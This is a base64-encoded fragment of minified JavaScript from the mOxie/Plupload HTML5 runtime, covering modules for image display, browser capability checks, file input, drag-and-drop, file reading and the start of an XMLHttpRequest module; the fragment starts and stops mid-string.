0cmlnZ2VyKCJlbWJlZGRlZCIpfXZhciByPWkuZ2V0QXNEYXRhVVJMKGUsdCk7aWYoIXIpdGhyb3cgbmV3IGwuSW1hZ2VFcnJvcihsLkltYWdlRXJyb3IuV1JPTkdfRk9STUFUKTtpZihoLmNhbigidXNlX2RhdGFfdXJpX29mIixyLmxlbmd0aCkpcy5pbm5lckhUTUw9JzxpbWcgc3JjPSInK3IrJyIgd2lkdGg9IicraS53aWR0aCsnIiBoZWlnaHQ9IicraS5oZWlnaHQrJyIgYWx0PSIiIC8+JyxpLmRlc3Ryb3koKSx1LnRyaWdnZXIoImVtYmVkZGVkIik7ZWxzZXt2YXIgbz1uZXcgZDtvLmJpbmQoIlRyYW5zcG9ydGluZ0NvbXBsZXRlIixmdW5jdGlvbigpe2E9dS5jb25uZWN0UnVudGltZSh0aGlzLnJlc3VsdC5ydWlkKSx1LmJpbmQoIkVtYmVkZGVkIixmdW5jdGlvbigpe2MuZXh0ZW5kKGEuZ2V0U2hpbUNvbnRhaW5lcigpLnN0eWxlLHt0b3A6IjBweCIsbGVmdDoiMHB4Iix3aWR0aDppLndpZHRoKyJweCIsaGVpZ2h0OmkuaGVpZ2h0KyJweCJ9KSxhPW51bGx9LDk5OSksYS5leGVjLmNhbGwodSwiSW1hZ2VWaWV3IiwiZGlzcGxheSIsdGhpcy5yZXN1bHQudWlkLHdpZHRoLGhlaWdodCksaS5kZXN0cm95KCl9KSxvLnRyYW5zcG9ydChwLmF0b2Ioci5zdWJzdHJpbmcoci5pbmRleE9mKCJiYXNlNjQsIikrNykpLGUse3JlcXVpcmVkX2NhcHM6e2Rpc3BsYXlfbWVkaWE6ITB9LHJ1bnRpbWVfb3JkZXI6ImZsYXNoLHNpbHZlcmxpZ2h0Iixjb250YWluZXI6c30pfX0pLmNhbGwodGhpcyx0LnR5cGUsdC5xdWFsaXR5KX0pLGkuYmluZCgiTG9hZCIsZnVuY3Rpb24oKXt0aGlzLmRvd25zaXplKHQpfSksdGhpcy5tZXRhLnRodW1iJiZ0aGlzLm1ldGEudGh1bWIud2lkdGg+PXQud2lkdGgmJnRoaXMubWV0YS50aHVtYi5oZWlnaHQ+PXQuaGVpZ2h0P2kubG9hZCh0aGlzLm1ldGEudGh1bWIuZGF0YSk6aS5jbG9uZSh0aGlzLCExKSxpfWNhdGNoKGUpe3RoaXMudHJpZ2dlcigiZXJyb3IiLGUuY29kZSl9fSxkZXN0cm95OmZ1bmN0aW9uKCl7dGhpcy5ydWlkJiYodGhpcy5nZXRSdW50aW1lKCkuZXhlYy5jYWxsKHRoaXMsIkltYWdlIiwiZGVzdHJveSIpLHRoaXMuZGlzY29ubmVjdFJ1bnRpbWUoKSksdGhpcy5tZXRhJiZ0aGlzLm1ldGEudGh1bWImJnRoaXMubWV0YS50aHVtYi5kYXRhLmRlc3Ryb3koKSx0aGlzLnVuYmluZEFsbCgpfX0pLHRoaXMuaGFuZGxlRXZlbnRQcm9wcyhmKSx0aGlzLmJpbmQoIkxvYWQgUmVzaXplIixmdW5jdGlvbigpe3JldHVybiBmdW5jdGlvbihlKXt0cnl7cmV0dXJuIGV8fChlPXRoaXMuZXhlYygiSW1hZ2UiLCJnZXRJbmZvIikpLHRoaXMuc2l6ZT1lLnNpemUsdGhpcy53aWR0aD1lLndpZHRoLHRoaXMuaGVpZ2h0PWUuaGVpZ2h0LHRoaXMudHlwZT1lLnR5cGUsdGhpcy5tZXRhPWUubWV0YSwiIj09PXRoaXMubmFtZSYmKHRoaXMubmFtZT1lLm5hbWUpLCEwfWNhdGNoKGUpe3JldHVybiB0aGlzLnRyaWdnZXIoImVycm9yIixlLmNvZGUpLCExfX0uY2FsbCh0aGlzKX0sOTk5KX12YXIgZj1bInByb2dyZXNzIiwibG9hZCIsImVycm9yIiwicmVzaXplIiwiZW1iZWRkZWQiXTtyZXR1cm4gbS5NQVhfUkVTSVpFX1dJRFRIPTgxOTIsbS5NQVhfUkVTSVpFX0hFSUdIVD04MTkyLG0ucHJvdG90eXBlPWkuaW5zdGFuY2UsbX0pLGUoIm1veGllL3J1bnRpbWUvaHRtbDUvUnVudGltZSIsWyJtb3hpZS9jb3JlL3V0aWxzL0Jhc2ljIiwibW94aWUvY29yZS9FeGNlcHRpb25zIiwibW94aWUvcnVudGltZS9SdW50aW1lIiwibW94aWUvY29yZS91dGlscy9FbnYiXSxmdW5jdGlvbihhLGUsdSxjKXt2YXIgbD17fTtyZXR1cm4gdS5hZGRDb25zdHJ1Y3RvcigiaHRtbDUiLGZ1bmN0aW9uKGUpe3ZhciB0LGksbj10aGlzLHI9dS5jYXBUZXN0LG89dS5jYXBUcnVlLHM9YS5leHRlbmQoe2FjY2Vzc19iaW5hcnk6cih3aW5kb3cuRmlsZVJlYWRlcnx8d2luZG93LkZpbGUmJndpbmRvdy5GaWxlLmdldEFzRGF0YVVSTCksYWNjZXNzX2ltYWdlX2JpbmFyeTpmdW5jdGlvbigpe3JldHVybiBuLmNhbigiYWNjZXNzX2JpbmFyeSIpJiYhIWwuSW1hZ2V9LGRpc3BsYXlfbWVkaWE6cigoYy5jYW4oImNyZWF0ZV9jYW52YXMiKXx8Yy5jYW4oInVzZV9kYXRhX3VyaV9vdmVyMzJrYiIpKSYmZCgibW94aWUvaW1hZ2UvSW1hZ2UiKSksZG9fY29yczpyKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCYmIndpdGhDcmVkZW50aWFscyJpbiBuZXcgWE1MSHR0cFJlcXVlc3QpLGRyYWdfYW5kX2Ryb3A6cigodD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKSwoImRyYWdnYWJsZSJpbiB0fHwib25kcmFnc3RhcnQiaW4gdCYmIm9uZHJvcCJpbiB0KSYmKCJJRSIhPT1jLmJyb3dzZXJ8fGMudmVyQ29tcChjLnZlcnNpb24sOSwiPiIpKSkpLGZpbHRlcl9ieV9leHRlbnNpb246cighKCJDaHJvbWUiPT09Yy5icm93c2VyJiZjLnZlckNvbXAoYy52ZXJzaW9uLDI4LCI8Iil8fCJJRSI9PT1jLmJyb3dzZXImJmMudmVyQ29tcChjLnZlcnNpb24sMTAsIjwiKXx8IlNhZmFyaSI9PT1jLmJyb3dzZXImJmMudmVyQ29tcChjLnZlcnNpb24sNywiPCIpfHwiRmlyZWZveCI9PT1jLmJyb3dzZXImJmMudmVyQ29tcChjLnZlcnNpb24sMzcsIjwiKSkpLHJldHVybl9yZXNwb25zZV9oZWFkZXJzOm8scmV0dXJuX3Jlc3BvbnNlX3R5cGU6ZnVuY3Rpb24oZSl7cmV0dXJuISgianNvbiIhPT1lfHwhd2luZG93LkpTT04pfHxjLmNhbigicmV0dXJuX3Jlc3BvbnNlX3R5cGUiLGUpfSxyZXR1cm5fc3RhdHVzX2NvZGU6byxyZXBvcnRfdXBsb2FkX3Byb2dyZXNzOnIod2luZG93LlhNTEh0dHBSZXF1ZXN0JiYobmV3IFhNTEh0dHBSZXF1ZXN0KS51cGxvYWQpLHJlc2l6ZV9pbWFnZTpmdW5jdGlvbigpe3JldHVybiBuLmNhbigiYWNjZXNzX2JpbmFyeSIpJiZjLmNhbigiY3JlYXRlX2NhbnZhcyIpfSxzZWxlY3RfZmlsZTpmdW5jdGlvbigpe3JldHVybiBjLmNhbigidXNlX2ZpbGVpbnB1dCIpJiZ3aW5kb3cuRmlsZX0sc2VsZWN0X2ZvbGRlcjpmdW5jdGlvbigpe3JldHVybiBuLmNhbigic2VsZWN0X2ZpbGUiKSYmKCJDaHJvbWUiPT09Yy5icm93c2VyJiZjLnZlckNvbXAoYy52ZXJzaW9uLDIxLCI+PSIpfHwiRmlyZWZveCI9PT1jLmJyb3dzZXImJmMudmVyQ29tcChjLnZlcnNpb24sNDIsIj49IikpfSxzZWxlY3RfbXVsdGlwbGU6ZnVuY3Rpb24oKXtyZXR1cm4hKCFuLmNhbigic2VsZWN0X2ZpbGUiKXx8IlNhZmFyaSI9PT1jLmJyb3dzZXImJiJXaW5kb3dzIj09PWMub3N8fCJpT1MiPT09Yy5vcyYmYy52ZXJDb21wKGMub3NWZXJzaW9uLCI3LjAuMCIsIj4iKSYmYy52ZXJDb21wKGMub3NWZXJzaW9uLCI4LjAuMCIsIjwiKSl9LHNlbmRfYmluYXJ5X3N0cmluZzpyKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCYmKChuZXcgWE1MSHR0cFJlcXVlc3QpLnNlbmRBc0JpbmFyeXx8d2luZG93LlVpbnQ4QXJyYXkmJndpbmRvdy5BcnJheUJ1ZmZlcikpLHNlbmRfY3VzdG9tX2hlYWRlcnM6cih3aW5kb3cuWE1MSHR0cFJlcXVlc3QpLHNlbmRfbXVsdGlwYXJ0OmZ1bmN0aW9uKCl7cmV0dXJuISEod2luZG93LlhNTEh0dHBSZXF1ZXN0JiYobmV3IFhNTEh0dHBSZXF1ZXN0KS51cGxvYWQmJndpbmRvdy5Gb3JtRGF0YSl8fG4uY2FuKCJzZW5kX2JpbmFyeV9zdHJpbmciKX0sc2xpY2VfYmxvYjpyKHdpbmRvdy5GaWxlJiYoRmlsZS5wcm90b3R5cGUubW96U2xpY2V8fEZpbGUucHJvdG90eXBlLndlYmtpdFNsaWNlfHxGaWxlLnByb3RvdHlwZS5zbGljZSkpLHN0cmVhbV91cGxvYWQ6ZnVuY3Rpb24oKXtyZXR1cm4gbi5jYW4oInNsaWNlX2Jsb2IiKSYmbi5jYW4oInNlbmRfbXVsdGlwYXJ0Iil9LHN1bW1vbl9maWxlX2RpYWxvZzpmdW5jdGlvbigpe3JldHVybiBuLmNhbigic2VsZWN0X2ZpbGUiKSYmISgiRmlyZWZveCI9PT1jLmJyb3dzZXImJmMudmVyQ29tcChjLnZlcnNpb24sNCwiPCIpfHwiT3BlcmEiPT09Yy5icm93c2VyJiZjLnZlckNvbXAoYy52ZXJzaW9uLDEyLCI8Iil8fCJJRSI9PT1jLmJyb3dzZXImJmMudmVyQ29tcChjLnZlcnNpb24sMTAsIjwiKSl9LHVwbG9hZF9maWxlc2l6ZTpvLHVzZV9odHRwX21ldGhvZDpvfSxhcmd1bWVudHNbMl0pO3UuY2FsbCh0aGlzLGUsYXJndW1lbnRzWzFdfHwiaHRtbDUiLHMpLGEuZXh0ZW5kKHRoaXMse2luaXQ6ZnVuY3Rpb24oKXt0aGlzLnRyaWdnZXIoIkluaXQiKX0sZGVzdHJveTooaT10aGlzLmRlc3Ryb3ksZnVuY3Rpb24oKXtpLmNhbGwobiksaT1uPW51bGx9KX0pLGEuZXh0ZW5kKHRoaXMuZ2V0U2hpbSgpLGwpfSksbH0pLGUoIm1veGllL3J1bnRpbWUvaHRtbDUvZmlsZS9CbG9iIixbIm1veGllL3J1bnRpbWUvaHRtbDUvUnVudGltZSIsIm1veGllL2ZpbGUvQmxvYiJdLGZ1bmN0aW9uKGUsdCl7cmV0dXJuIGUuQmxvYj1mdW5jdGlvbigpe3RoaXMuc2xpY2U9ZnVuY3Rpb24oKXtyZXR1cm4gbmV3IHQodGhpcy5nZXRSdW50aW1lKCkudWlkLGZ1bmN0aW9uKGUsdCxpKXt2YXIgbjtpZighd2luZG93LkZpbGUucHJvdG90eXBlLnNsaWNlKXJldHVybihuPXdpbmRvdy5GaWxlLnByb3RvdHlwZS53ZWJraXRTbGljZXx8d2luZG93LkZpbGUucHJvdG90eXBlLm1velNsaWNlKT9uLmNhbGwoZSx0LGkpOm51bGw7dHJ5e3JldHVybiBlLnNsaWNlKCksZS5zbGljZSh0LGkpfWNhdGNoKG4pe3JldHVybiBlLnNsaWNlKHQsaS10KX19LmFwcGx5KHRoaXMsYXJndW1lbnRzKSl9LHRoaXMuZGVzdHJveT1mdW5jdGlvbigpe3RoaXMuZ2V0UnVudGltZSgpLmdldFNoaW0oKS5yZW1vdmVJbnN0YW5jZSh0aGlzLnVpZCl9fX0pLGUoIm1veGllL2NvcmUvdXRpbHMvRXZlbnRzIixbIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiXSxmdW5jdGlvbihzKXtmdW5jdGlvbiBhKCl7dGhpcy5yZXR1cm5WYWx1ZT0hMX1mdW5jdGlvbiB1KCl7dGhpcy5jYW5jZWxCdWJibGU9ITB9dmFyIGM9e30sbD0ibW94aWVfIitzLmd1aWQoKSxyPWZ1bmN0aW9uKGUsdCxpKXt2YXIgbjtpZih0PXQudG9Mb3dlckNhc2UoKSxlW2xdJiZjW2VbbF1dJiZjW2VbbF1dW3RdKXtmb3IodmFyIHI9KG49Y1tlW2xdXVt0XSkubGVuZ3RoLTE7MDw9ciYmKG5bcl0ub3JpZyE9PWkmJm5bcl0ua2V5IT09aXx8KGUucmVtb3ZlRXZlbnRMaXN0ZW5lcj9lLnJlbW92ZUV2ZW50TGlzdGVuZXIodCxuW3JdLmZ1bmMsITEpOmUuZGV0YWNoRXZlbnQmJmUuZGV0YWNoRXZlbnQoIm9uIit0LG5bcl0uZnVuYyksbltyXS5vcmlnPW51bGwsbltyXS5mdW5jPW51bGwsbi5zcGxpY2UociwxKSx2b2lkIDA9PT1pKSk7ci0tKTtpZihuLmxlbmd0aHx8ZGVsZXRlIGNbZVtsXV1bdF0scy5pc0VtcHR5T2JqKGNbZVtsXV0pKXtkZWxldGUgY1tlW2xdXTt0cnl7ZGVsZXRlIGVbbF19Y2F0Y2godCl7ZVtsXT12b2lkIDB9fX19O3JldHVybnthZGRFdmVudDpmdW5jdGlvbihlLHQsaSxuKXt2YXIgcixvO3Q9dC50b0xvd2VyQ2FzZSgpLGUuYWRkRXZlbnRMaXN0ZW5lcj8ocj1pLGUuYWRkRXZlbnRMaXN0ZW5lcih0LHIsITEpKTplLmF0dGFjaEV2ZW50JiYocj1mdW5jdGlvbigpe3ZhciBlPXdpbmRvdy5ldmVudDtlLnRhcmdldHx8KGUudGFyZ2V0PWUuc3JjRWxlbWVudCksZS5wcmV2ZW50RGVmYXVsdD1hLGUuc3RvcFByb3BhZ2F0aW9uPXUsaShlKX0sZS5hdHRhY2hFdmVudCgib24iK3QscikpLGVbbF18fChlW2xdPXMuZ3VpZCgpKSxjLmhhc093blByb3BlcnR5KGVbbF0pfHwoY1tlW2xdXT17fSksKG89Y1tlW2xdXSkuaGFzT3duUHJvcGVydHkodCl8fChvW3RdPVtdKSxvW3RdLnB1c2goe2Z1bmM6cixvcmlnOmksa2V5Om59KX0scmVtb3ZlRXZlbnQ6cixyZW1vdmVBbGxFdmVudHM6ZnVuY3Rpb24oaSxuKXtpJiZpW2xdJiZzLmVhY2goY1tpW2xdXSxmdW5jdGlvbihlLHQpe3IoaSx0LG4pfSl9fX0pLGUoIm1veGllL3J1bnRpbWUvaHRtbDUvZmlsZS9GaWxlSW5wdXQiLFsibW94aWUvcnVudGltZS9odG1sNS9SdW50aW1lIiwibW94aWUvZmlsZS9GaWxlIiwibW94aWUvY29yZS91dGlscy9CYXNpYyIsIm1veGllL2NvcmUvdXRpbHMvRG9tIiwibW94aWUvY29yZS91dGlscy9FdmVudHMiLCJtb3hpZS9jb3JlL3V0aWxzL01pbWUiLCJtb3hpZS9jb3JlL3V0aWxzL0VudiJdLGZ1bmN0aW9uKGUsZCxoLHAsbSxmLGcpe3JldHVybiBlLkZpbGVJbnB1dD1mdW5jdGlvbigpe3ZhciBjLGw7aC5leHRlbmQodGhpcyx7aW5pdDpmdW5jdGlvbihlKXt2YXIgdCxpLG4scixvLHMsYT10aGlzLHU9YS5nZXRSdW50aW1lKCk7Yz1lLG49Zi5leHRMaXN0Mm1pbWVzKGMuYWNjZXB0LHUuY2FuKCJmaWx0ZXJfYnlfZXh0ZW5zaW9uIikpLChpPXUuZ2V0U2hpbUNvbnRhaW5lcigpKS5pbm5lckhUTUw9JzxpbnB1dCBpZD0iJyt1LnVpZCsnIiB0eXBlPSJmaWxlIiBzdHlsZT0iZm9udC1zaXplOjk5OXB4O29wYWNpdHk6MDsiJysoYy5tdWx0aXBsZSYmdS5jYW4oInNlbGVjdF9tdWx0aXBsZSIpPyJtdWx0aXBsZSI6IiIpKyhjLmRpcmVjdG9yeSYmdS5jYW4oInNlbGVjdF9mb2xkZXIiKT8id2Via2l0ZGlyZWN0b3J5IGRpcmVjdG9yeSI6IiIpKyhuPycgYWNjZXB0PSInK24uam9pbigiLCIpKyciJzoiIikrIiAvPiIsdD1wLmdldCh1LnVpZCksaC5leHRlbmQodC5zdHlsZSx7cG9zaXRpb246ImFic29sdXRlIix0b3A6MCxsZWZ0OjAsd2lkdGg6IjEwMCUiLGhlaWdodDoiMTAwJSJ9KSxyPXAuZ2V0KGMuYnJvd3NlX2J1dHRvbiksbD1wLmdldFN0eWxlKHIsInotaW5kZXgiKXx8ImF1dG8iLHUuY2FuKCJzdW1tb25fZmlsZV9kaWFsb2ciKSYmKCJzdGF0aWMiPT09cC5nZXRTdHlsZShyLCJwb3NpdGlvbiIpJiYoci5zdHlsZS5wb3NpdGlvbj0icmVsYXRpdmUiKSxtLmFkZEV2ZW50KHIsImNsaWNrIixmdW5jdGlvbihlKXt2YXIgdD1wLmdldCh1LnVpZCk7dCYmIXQuZGlzYWJsZWQmJnQuY2xpY2soKSxlLnByZXZlbnREZWZhdWx0KCl9LGEudWlkKSxhLmJpbmQoIlJlZnJlc2giLGZ1bmN0aW9uKCl7bz1wYXJzZUludChsLDEwKXx8MSxwLmdldChjLmJyb3dzZV9idXR0b24pLnN0eWxlLnpJbmRleD1vLHRoaXMuZ2V0UnVudGltZSgpLmdldFNoaW1Db250YWluZXIoKS5zdHlsZS56SW5kZXg9by0xfSkpLHM9dS5jYW4oInN1bW1vbl9maWxlX2RpYWxvZyIpP3I6aSxtLmFkZEV2ZW50KHMsIm1vdXNlb3ZlciIsZnVuY3Rpb24oKXthLnRyaWdnZXIoIm1vdXNlZW50ZXIiKX0sYS51aWQpLG0uYWRkRXZlbnQocywibW91c2VvdXQiLGZ1bmN0aW9uKCl7YS50cmlnZ2VyKCJtb3VzZWxlYXZlIil9LGEudWlkKSxtLmFkZEV2ZW50KHMsIm1vdXNlZG93biIsZnVuY3Rpb24oKXthLnRyaWdnZXIoIm1vdXNlZG93biIpfSxhLnVpZCksbS5hZGRFdmVudChwLmdldChjLmNvbnRhaW5lciksIm1vdXNldXAiLGZ1bmN0aW9uKCl7YS50cmlnZ2VyKCJtb3VzZXVwIil9LGEudWlkKSwodS5jYW4oInN1bW1vbl9maWxlX2RpYWxvZyIpP3Q6cikuc2V0QXR0cmlidXRlKCJ0YWJpbmRleCIsLTEpLHQub25jaGFuZ2U9ZnVuY3Rpb24gZSgpe2lmKGEuZmlsZXM9W10saC5lYWNoKHRoaXMuZmlsZXMsZnVuY3Rpb24oZSl7dmFyIHQ9IiI7cmV0dXJuISghYy5kaXJlY3Rvcnl8fCIuIiE9ZS5uYW1lKXx8KGUud2Via2l0UmVsYXRpdmVQYXRoJiYodD0iLyIrZS53ZWJraXRSZWxhdGl2ZVBhdGgucmVwbGFjZSgvXlwvLywiIikpLChlPW5ldyBkKHUudWlkLGUpKS5yZWxhdGl2ZVBhdGg9dCx2b2lkIGEuZmlsZXMucHVzaChlKSl9KSwiSUUiIT09Zy5icm93c2VyJiYiSUVNb2JpbGUiIT09Zy5icm93c2VyKXRoaXMudmFsdWU9IiI7ZWxzZXt2YXIgdD10aGlzLmNsb25lTm9kZSghMCk7dGhpcy5wYXJlbnROb2RlLnJlcGxhY2VDaGlsZCh0LHRoaXMpLHQub25jaGFuZ2U9ZX1hLmZpbGVzLmxlbmd0aCYmYS50cmlnZ2VyKCJjaGFuZ2UiKX0sYS50cmlnZ2VyKHt0eXBlOiJyZWFkeSIsYXN5bmM6ITB9KSxpPW51bGx9LHNldE9wdGlvbjpmdW5jdGlvbihlLHQpe3ZhciBpPXRoaXMuZ2V0UnVudGltZSgpLG49cC5nZXQoaS51aWQpO3N3aXRjaChlKXtjYXNlImFjY2VwdCI6aWYodCl7dmFyIHI9dC5taW1lc3x8Zi5leHRMaXN0Mm1pbWVzKHQsaS5jYW4oImZpbHRlcl9ieV9leHRlbnNpb24iKSk7bi5zZXRBdHRyaWJ1dGUoImFjY2VwdCIsci5qb2luKCIsIikpfWVsc2Ugbi5yZW1vdmVBdHRyaWJ1dGUoImFjY2VwdCIpO2JyZWFrO2Nhc2UiZGlyZWN0b3J5Ijp0JiZpLmNhbigic2VsZWN0X2ZvbGRlciIpPyhuLnNldEF0dHJpYnV0ZSgiZGlyZWN0b3J5IiwiIiksbi5zZXRBdHRyaWJ1dGUoIndlYmtpdGRpcmVjdG9yeSIsIiIpKToobi5yZW1vdmVBdHRyaWJ1dGUoImRpcmVjdG9yeSIpLG4ucmVtb3ZlQXR0cmlidXRlKCJ3ZWJraXRkaXJlY3RvcnkiKSk7YnJlYWs7Y2FzZSJtdWx0aXBsZSI6dCYmaS5jYW4oInNlbGVjdF9tdWx0aXBsZSIpP24uc2V0QXR0cmlidXRlKCJtdWx0aXBsZSIsIiIpOm4ucmVtb3ZlQXR0cmlidXRlKCJtdWx0aXBsZSIpfX0sZGlzYWJsZTpmdW5jdGlvbihlKXt2YXIgdCxpPXRoaXMuZ2V0UnVudGltZSgpOyh0PXAuZ2V0KGkudWlkKSkmJih0LmRpc2FibGVkPSEhZSl9LGRlc3Ryb3k6ZnVuY3Rpb24oKXt2YXIgZT10aGlzLmdldFJ1bnRpbWUoKSx0PWUuZ2V0U2hpbSgpLGk9ZS5nZXRTaGltQ29udGFpbmVyKCksbj1jJiZwLmdldChjLmNvbnRhaW5lcikscj1jJiZwLmdldChjLmJyb3dzZV9idXR0b24pO24mJm0ucmVtb3ZlQWxsRXZlbnRzKG4sdGhpcy51aWQpLHImJihtLnJlbW92ZUFsbEV2ZW50cyhyLHRoaXMudWlkKSxyLnN0eWxlLnpJbmRleD1sKSxpJiYobS5yZW1vdmVBbGxFdmVudHMoaSx0aGlzLnVpZCksaS5pbm5lckhUTUw9IiIpLHQucmVtb3ZlSW5zdGFuY2UodGhpcy51aWQpLGM9aT1uPXI9dD1udWxsfX0pfX0pLGUoIm1veGllL3J1bnRpbWUvaHRtbDUvZmlsZS9GaWxlRHJvcCIsWyJtb3hpZS9ydW50aW1lL2h0bWw1L1J1bnRpbWUiLCJtb3hpZS9maWxlL0ZpbGUiLCJtb3hpZS9jb3JlL3V0aWxzL0Jhc2ljIiwibW94aWUvY29yZS91dGlscy9Eb20iLCJtb3hpZS9jb3JlL3V0aWxzL0V2ZW50cyIsIm1veGllL2NvcmUvdXRpbHMvTWltZSJdLGZ1bmN0aW9uKGUscixjLHQsbCxkKXtyZXR1cm4gZS5GaWxlRHJvcD1mdW5jdGlvbigpe2Z1bmN0aW9uIG8oZSl7aWYoIWUuZGF0YVRyYW5zZmVyfHwhZS5kYXRhVHJhbnNmZXIudHlwZXMpcmV0dXJuITE7dmFyIHQ9Yy50b0FycmF5KGUuZGF0YVRyYW5zZmVyLnR5cGVzfHxbXSk7cmV0dXJuLTEhPT1jLmluQXJyYXkoIkZpbGVzIix0KXx8LTEhPT1jLmluQXJyYXkoInB1YmxpYy5maWxlLXVybCIsdCl8fC0xIT09Yy5pbkFycmF5KCJhcHBsaWNhdGlvbi94LW1vei1maWxlIix0KX1mdW5jdGlvbiB1KGUsdCl7aWYoZnVuY3Rpb24oZSl7aWYoIWEubGVuZ3RoKXJldHVybiEwO3ZhciB0PWQuZ2V0RmlsZUV4dGVuc2lvbihlLm5hbWUpO3JldHVybiF0fHwtMSE9PWMuaW5BcnJheSh0LGEpfShlKSl7dmFyIGk9bmV3IHIobixlKTtpLnJlbGF0aXZlUGF0aD10fHwiIixzLnB1c2goaSl9fXZhciBpLG4scz1bXSxhPVtdO2MuZXh0ZW5kKHRoaXMse2luaXQ6ZnVuY3Rpb24oZSl7dmFyIHQscj10aGlzO2k9ZSxuPXIucnVpZCxhPWZ1bmN0aW9uKGUpe2Zvcih2YXIgdD1bXSxpPTA7aTxlLmxlbmd0aDtpKyspW10ucHVzaC5hcHBseSh0LGVbaV0uZXh0ZW5zaW9ucy5zcGxpdCgvXHMqLFxzKi8pKTtyZXR1cm4tMT09PWMuaW5BcnJheSgiKiIsdCk/dDpbXX0oaS5hY2NlcHQpLHQ9aS5jb250YWluZXIsbC5hZGRFdmVudCh0LCJkcmFnb3ZlciIsZnVuY3Rpb24oZSl7byhlKSYmKGUucHJldmVudERlZmF1bHQoKSxlLmRhdGFUcmFuc2Zlci5kcm9wRWZmZWN0PSJjb3B5Iil9LHIudWlkKSxsLmFkZEV2ZW50KHQsImRyb3AiLGZ1bmN0aW9uKGUpe3ZhciB0LGksbjtvKGUpJiYoZS5wcmV2ZW50RGVmYXVsdCgpLHM9W10sZS5kYXRhVHJhbnNmZXIuaXRlbXMmJmUuZGF0YVRyYW5zZmVyLml0ZW1zWzBdLndlYmtpdEdldEFzRW50cnk/KHQ9ZS5kYXRhVHJhbnNmZXIuaXRlbXMsaT1mdW5jdGlvbigpe3IuZmlsZXM9cyxyLnRyaWdnZXIoImRyb3AiKX0sbj1bXSxjLmVhY2godCxmdW5jdGlvbihlKXt2YXIgdD1lLndlYmtpdEdldEFzRW50cnkoKTt0JiYodC5pc0ZpbGU/dShlLmdldEFzRmlsZSgpLHQuZnVsbFBhdGgpOm4ucHVzaCh0KSl9KSxuLmxlbmd0aD9mdW5jdGlvbiBhKGUsdCl7dmFyIGk9W107Yy5lYWNoKGUsZnVuY3Rpb24ocyl7aS5wdXNoKGZ1bmN0aW9uKGUpe3ZhciB0LGksbixyLG87aT1lLCh0PXMpLmlzRmlsZT90LmZpbGUoZnVuY3Rpb24oZSl7dShlLHQuZnVsbFBhdGgpLGkoKX0sZnVuY3Rpb24oKXtpKCl9KTp0LmlzRGlyZWN0b3J5PyhuPWkscj1bXSxvPXQuY3JlYXRlUmVhZGVyKCksZnVuY3Rpb24gdChpKXtvLnJlYWRFbnRyaWVzKGZ1bmN0aW9uKGUpe2UubGVuZ3RoPyhbXS5wdXNoLmFwcGx5KHIsZSksdChpKSk6aSgpfSxpKX0oZnVuY3Rpb24oKXthKHIsbil9KSk6aSgpfSl9KSxjLmluU2VyaWVzKGksZnVuY3Rpb24oKXt0KCl9KX0obixpKTppKCkpOihjLmVhY2goZS5kYXRhVHJhbnNmZXIuZmlsZXMsZnVuY3Rpb24oZSl7dShlKX0pLHIuZmlsZXM9cyxyLnRyaWdnZXIoImRyb3AiKSkpfSxyLnVpZCksbC5hZGRFdmVudCh0LCJkcmFnZW50ZXIiLGZ1bmN0aW9uKCl7ci50cmlnZ2VyKCJkcmFnZW50ZXIiKX0sci51aWQpLGwuYWRkRXZlbnQodCwiZHJhZ2xlYXZlIixmdW5jdGlvbigpe3IudHJpZ2dlcigiZHJhZ2xlYXZlIil9LHIudWlkKX0sZGVzdHJveTpmdW5jdGlvbigpe2wucmVtb3ZlQWxsRXZlbnRzKGkmJnQuZ2V0KGkuY29udGFpbmVyKSx0aGlzLnVpZCksbj1zPWE9aT1udWxsLHRoaXMuZ2V0UnVudGltZSgpLmdldFNoaW0oKS5yZW1vdmVJbnN0YW5jZSh0aGlzLnVpZCl9fSl9fSksZSgibW94aWUvcnVudGltZS9odG1sNS9maWxlL0ZpbGVSZWFkZXIiLFsibW94aWUvcnVudGltZS9odG1sNS9SdW50aW1lIiwibW94aWUvY29yZS91dGlscy9FbmNvZGUiLCJtb3hpZS9jb3JlL3V0aWxzL0Jhc2ljIl0sZnVuY3Rpb24oZSxvLHMpe3JldHVybiBlLkZpbGVSZWFkZXI9ZnVuY3Rpb24oKXt2YXIgbixyPSExO3MuZXh0ZW5kKHRoaXMse3JlYWQ6ZnVuY3Rpb24oZSx0KXt2YXIgaT10aGlzO2kucmVzdWx0PSIiLChuPW5ldyB3aW5kb3cuRmlsZVJlYWRlcikuYWRkRXZlbnRMaXN0ZW5lcigicHJvZ3Jlc3MiLGZ1bmN0aW9uKGUpe2kudHJpZ2dlcihlKX0pLG4uYWRkRXZlbnRMaXN0ZW5lcigibG9hZCIsZnVuY3Rpb24oZSl7dmFyIHQ7aS5yZXN1bHQ9cj8odD1uLnJlc3VsdCxvLmF0b2IodC5zdWJzdHJpbmcodC5pbmRleE9mKCJiYXNlNjQsIikrNykpKTpuLnJlc3VsdCxpLnRyaWdnZXIoZSl9KSxuLmFkZEV2ZW50TGlzdGVuZXIoImVycm9yIixmdW5jdGlvbihlKXtpLnRyaWdnZXIoZSxuLmVycm9yKX0pLG4uYWRkRXZlbnRMaXN0ZW5lcigibG9hZGVuZCIsZnVuY3Rpb24oZSl7bj1udWxsLGkudHJpZ2dlcihlKX0pLCJmdW5jdGlvbiI9PT1zLnR5cGVPZihuW2VdKT8ocj0hMSxuW2VdKHQuZ2V0U291cmNlKCkpKToicmVhZEFzQmluYXJ5U3RyaW5nIj09PWUmJihyPSEwLG4ucmVhZEFzRGF0YVVSTCh0LmdldFNvdXJjZSgpKSl9LGFib3J0OmZ1bmN0aW9uKCl7biYmbi5hYm9ydCgpfSxkZXN0cm95OmZ1bmN0aW9uKCl7bj1udWxsLHRoaXMuZ2V0UnVudGltZSgpLmdldFNoaW0oKS5yZW1vdmVJbnN0YW5jZSh0aGlzLnVpZCl9fSl9fSksZSgibW94aWUvcnVudGltZS9odG1sNS94aHIvWE1MSHR0cFJlcXVlc3QiLFsibW94aWUvcnVudGltZS9odG1sNS9SdW50aW1lIiwibW94aWUvY29yZS91dGlscy9CYXNpYyIsIm1veGllL2NvcmUvdXRpbHMvTWltZSIsIm1veGllL2NvcmUvdXRpbHMvVXJsIiwibW94aWUvZmlsZS9GaWxlIiwibW94aWUvZmlsZS9CbG9iIiwibW94aWUveGhyL0Zvcm1EYXRhIiwibW94aWUvY29yZS9FeGNlcHRpb25zIiwibW94aWUvY29yZS91dGlscy9FbnYiXSxmdW5jdG